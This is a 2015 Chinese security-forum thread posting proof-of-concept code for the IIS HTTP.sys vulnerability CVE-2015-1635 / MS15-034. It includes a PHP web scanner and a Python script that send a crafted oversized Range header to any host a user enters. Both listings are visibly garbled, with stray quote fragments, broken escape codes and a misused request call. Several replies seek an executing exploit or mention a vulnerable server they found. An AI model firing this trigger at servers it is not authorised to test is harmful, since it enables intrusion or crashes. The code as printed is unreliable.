查看: 81943|回复: 138

IIS最新高危漏洞(CVE-2015-1635,MS15-034)POC

[复制链接]
  • TA的每日心情

    昨天 12:01
  • 签到天数: 1571 天

    [LV.Master]伴坛终老

    发表于 2015-4-16 12:46:36 | 显示全部楼层 |阅读模式
    QQ截图20150416124417.jpg
    HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)
    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。https://technet.microsoft.com/zh-cn/library/security/MS15-034
    poc:
    [PHP] 纯文本查看 复制代码
    <?php
    
    
    class VulnStatus
    {
    const FAIL        = 0;
    const VULN        = 1;
    const VULN_NOT_MS = 2;
    const PATCHED     = 3;
    const NOT_VULN    = 4;
    const NOT_VULN_MS = 5;
    const NOT_VULN_CF = 6;
    
    public static function AsString( $status, $host )
    {
    switch( $status )
    {
    case self::FAIL       : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';;
    case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;
    case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';;
    case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';;
    case self::NOT_VULN   : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';;
    case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;
    case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';;
    }
    
    return ';好像坏了';;
    }
    }
    
    $host = false;
    $status = false;
    $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );
    
    if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
    {
    $url = ';http://'; . $url;
    }
    
    $port = parse_url( $url, PHP_URL_PORT );
    
    if( $port === null )
    {
    $port = 80;
    }
    
    $url = parse_url( $url, PHP_URL_HOST );
    
    if( $url !== null )
    {
    $cachekey = ';ms15034_'; . $url . ';_'; . $port;
    $cachetime = 300; // 5 minutes
    
    $host = htmlspecialchars( $url, ENT_HTML5 );
    
    if( $port !== 80 )
    {
    $host .= ';:'; . $port;
    }
    
    $memcached = new Memcached( );
    $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );
    
    $status = $memcached->get( $cachekey );
    
    if( $status === false )
    {
    $fp = @fsockopen( $url, $port, $errno, $errstr, 5 );
    
    if( $fp === false )
    {
    $status = VulnStatus::FAIL;
    }
    else
    {
    stream_set_timeout( $fp, 5 );
    
    $header = "GET / HTTP/1.1\r\n";
    $header .= "Host: stuff\r\n";
    $header .= "Range: bytes=0-18446744073709551615\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    fwrite( $fp, $header );
    
    $response = fread( $fp, 1024 );
    
    fclose( $fp );
    
    if( strpos( $response, ';您的请求范围不符合'; ) !== false )
    {
    $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
    }
    else if( strpos( $response, ';请求一个无效的header头部'; ) !== false )
    {
    $cachetime = 3600; // 缓存时间
    $status = VulnStatus::PATCHED;
    }
    else if( strpos( $response, ';Microsoft'; ) === false )
    {
    if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
    {
    $status = VulnStatus::NOT_VULN_CF;
    }
    else
    {
    $status = VulnStatus::NOT_VULN;
    }
    }
    else
    {
    $status = VulnStatus::NOT_VULN_MS;
    }
    }
    
    unset( $fp, $header, $response );
    
    $memcached->set( $cachekey, $status, $cachetime );
    }
    
    $status = VulnStatus::AsString( $status, $host );
    }
    ?>
    <!DOCTYPE HTML>
    <html>
    <head>
    <meta charset="utf-8">
    <meta name="theme-color" content="#424242">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <title>MS15-034 测试</title>
    
    <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
    
    <style type="text/css">
    .container {
    max-width: 900px;
    }
    
    .masthead {
    position: relative;
    padding: 20px 0;
    text-align: center;
    color: #fff;
    background-color: #424242;
    margin-bottom: 20px;
    }
    
    .masthead a {
    color: #fff;
    }
    
    .footer {
    text-align: center;
    padding: 15px;
    color: #555;
    }
    
    .footer span {
    color: #FA5994;
    }
    
    .form-inline {
    text-align: center;
    margin-bottom: 20px;
    }
    
    .github {
    position: absolute;
    top: 0;
    right: 0;
    }
    </style>
    </head>
    <body>
    <div>
    <div>
    <h1>HTTP.sys 堆栈漏洞测试</h1>
    <h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
    </div>
    </div>
    
    
    
    <div>
    <blockquote>
    <p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p>
    <p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p>
    </blockquote>
    
    <form id="js-form" method="GET">
    <div>
    <input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>>
    <button type="submit" class="btn btn-primary btn-lg">检测</button>
    </div>
    </form>
    
    <?php if( $status !== false ) { echo $status; } ?>
    
    <div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div>
    </div>
    </body>
    </html>


    python版
    [Python] 纯文本查看 复制代码
    #!/usr/bin/env python
    __author__ = ';jastra';
    class bg_colors:
        VULN = ';33[92m';
        NONVULN= ';33[95m';
        EXPLOIT = ';33[91m';  
    try:
        import requests
        import re
    except ImportError as ierr:
        print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
        
    def identify_iis(domain):
        req = requests.get(str(domain))
        remote_server = req.headers[';server';]
            
        if "Microsoft-IIS" in remote_server:
            print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
            ms15_034_test(str(domain))
        else:
            print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
            
    def ms15_034_test(domain):
        print(" 启动vuln检查!")
        vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
        req = requests.get(str(domain), params=vuln_buffer)
        if req.headers[';content';] == "请求范围不符合":
            print(bg_colors.EXPLOIT + "[+] 存在漏洞")
        else:
            print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
                   "需要手动检测")
    usr_domain = raw_input("输入域名扫描: ")
    identify_iis(usr_domain)

    *作者/xiaoya
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2021-1-25 21:16
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2015-4-16 12:48:16 | 显示全部楼层
    谢谢分享 悄悄iis 漏洞先
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2015-4-16 13:43:10 | 显示全部楼层
    我要执行~~不要测试。求大大放执行。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-12-25 11:55
  • 签到天数: 103 天

    [LV.6]常住居民II

    发表于 2015-4-16 17:30:57 | 显示全部楼层
    同上,刚刚找了一台存在此漏洞的服务器
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-1-8 01:25
  • 签到天数: 47 天

    [LV.5]常住居民I

    发表于 2015-4-17 02:39:48 | 显示全部楼层
    这么厉害了!拿了走去试试
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-1-24 00:59
  • 签到天数: 88 天

    [LV.6]常住居民II

    发表于 2015-4-17 21:59:33 | 显示全部楼层
    新手该从何学起    大神给个对策
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-5-20 20:26
  • 签到天数: 32 天

    [LV.5]常住居民I

    发表于 2015-5-6 08:35:38 | 显示全部楼层
    没有exp吗
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2015-10-27 10:18
  • 签到天数: 38 天

    [LV.5]常住居民I

    发表于 2015-5-24 23:12:12 | 显示全部楼层
    菜鸟真心看不懂
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 01:45:55 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-7-28 12:00
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    发表于 2015-6-28 04:34:56 | 显示全部楼层
    来个实际演示啊90大大
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-17 15:09 , Processed in 0.029423 second(s), 19 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部